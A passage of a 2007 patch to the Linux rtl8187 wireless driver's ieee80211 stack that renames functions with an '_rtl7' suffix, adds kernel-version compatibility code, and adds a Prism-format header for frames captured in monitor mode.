.encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_txpower/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211.h 2007-04-23 00:09:03.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_txpower/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_module.c 2007-04-23 00:09:00.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; - ieee80211_softmac_free(ieee); + ieee80211_softmac_free_rtl7(ieee); del_timer_sync(&ieee->crypt_deinit_timer); - ieee80211_crypt_deinit_entries(ieee, 1); + ieee80211_crypt_deinit_entries_rtl7(ieee, 1); for (i = 0; i < WEP_KEYS; i++) { struct ieee80211_crypt_data *crypt = ieee->crypt[i]; @@ -191,7 +196,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +215,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +248,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +273,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +287,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-04-23 00:09:00.000000000 +0200 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,85 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +130,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +160,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +199,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +212,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +222,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +244,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +253,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +319,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +360,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +370,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +405,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +415,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +433,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +510,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +549,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +567,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +595,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +621,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +641,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +672,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +685,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +696,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +730,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +740,7 @@ // ieee->host_decrypt && (fc & 